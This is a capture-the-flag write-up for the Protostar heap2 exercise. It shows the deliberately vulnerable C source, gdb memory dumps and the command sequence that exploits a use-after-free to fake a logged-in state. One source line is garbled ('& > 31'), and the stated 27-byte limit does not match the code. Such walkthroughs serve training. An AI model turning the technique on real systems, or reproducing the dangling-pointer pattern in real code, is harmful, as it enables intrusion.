Protostar exploits Heap2

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

This is an example of a ‘use after free’ bug. You shouldn’t operate on any object/pointer after it has been freed. Another interesting feature of triggering this class of vulnerability is that it may never manifest itself in an application crash.

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth test
[ auth = 0x804c008, service = (nil) ]

Exploit

Get the program to print “you have logged in already!” message

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
    char name[32];
    int auth;
};

struct auth * auth;
char * service;

int main(int argc, char ** argv) {
    char line[128];

    while (1) {
        printf("[ auth = %p, service = %p ]\n", auth, service);

        if (fgets(line, sizeof(line), stdin) == NULL) break;

        if (strncmp(line, "auth ", 5) == 0) {
            auth = malloc(sizeof(auth));
            memset(auth, 0, sizeof(auth));
            if (strlen(line + 5) & > 31) {
                strcpy(auth->name, line + 5);
            }
        }
        if (strncmp(line, "reset", 5) == 0) {
            free(auth);
        }
        if (strncmp(line, "service", 6) == 0) {
            service = strdup(line + 7);
        }
        if (strncmp(line, "login", 5) == 0) {
            if (auth->auth) {
                printf("you have logged in already!\n");
            } else {
                printf("please enter your password\n");
            }
        }
    }
}

Program goes into infinite while loop. Program reads stdin and tries to match keyword commands [“auth “, “reset”, “service”, “login”].

In order to reach the target message we have to pass the condition of auth->auth being a none zero value. Nowhere within the code is auth->auth assigned a value.

If we consider trying to overflow the memory when auth->name is assigned a value from stdin via strcpy, that won’t work either because a string length check is made of the input string restricting to 27 bytes.

Let’s examine the memory contents of auth when it has a value assigned to auth->name

gdb$ r
[ auth = (nil), service = (nil) ]
auth AAAA
gdb$ x /64xb $eax-8
0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00
0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00
0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Let’s now issue the ‘login’ command and see where in memory the comparison is made.

=>0x8048a8b <main+343>: mov    eax,DWORD PTR [eax+0x20]
0x8048a8e <main+346>: test   eax,eax
0x8048a90 <main+348>: je     0x8048aa3 <main+367>
0x8048a92 <main+350>: mov    DWORD PTR [esp],0x804ada7
0x8048a99 <main+357>: call   0x804883c <puts@plt>
0x8048a9e <main+362>: jmp    0x8048943 <main+15>
0x8048aa3 <main+367>: mov    DWORD PTR [esp],0x804adc3
0x8048aaa <main+374>: call   0x804883c <puts@plt>
gdb$ x /32xb $eax
0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00
0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00
0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
gdb$ x /32xb $eax+10
0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
gdb$ x /32xb $eax+20
0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

It’s looking at 0x804c028 for auth->auth.

Let’s run the ‘reset’ command to free this heap object and then examine the ‘auth’ once again.

gdb$ c
please enter your password
[ auth = 0x804c008, service = (nil) ]
reset
gdb$ c
[ auth = 0x804c008, service = (nil) ]
login
gdb$ x /48xb $eax-8
0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00
0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00
0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

The heap object is still there but the string is gone.

What if we try to create a new object on the heap using ‘service’ and use a larger size (16 bytes) in memory.

gdb$ c
please enter your password
[ auth = 0x804c008, service = (nil) ]
service SSSSSSSSSSSSSSSS

Examine the ‘login’ command and see if the memory content has changed.

gdb$ c
[ auth = 0x804c008, service = 0x804c018 ]
login
gdb$ x /64xb $eax-8
0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00
0x804c010: 0x00 0x00 0x00 0x00 0x19 0x00 0x00 0x00
0x804c018: 0x20 0x53 0x53 0x53 0x53 0x53 0x53 0x53
0x804c020: 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x53
0x804c028: 0x53 0x0a 0x00 0x00 0xd9 0x0f 0x00 0x00
0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

If you recall from above that that the location for the comparison on auth->auth was at 0x804c028 you can now see that we have managed to overwrite this location with ‘service’.

Although the heap object was freed the ‘stale’ memory pointer to auth->auth is not nulled and still used.

gdb$ c
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Thank you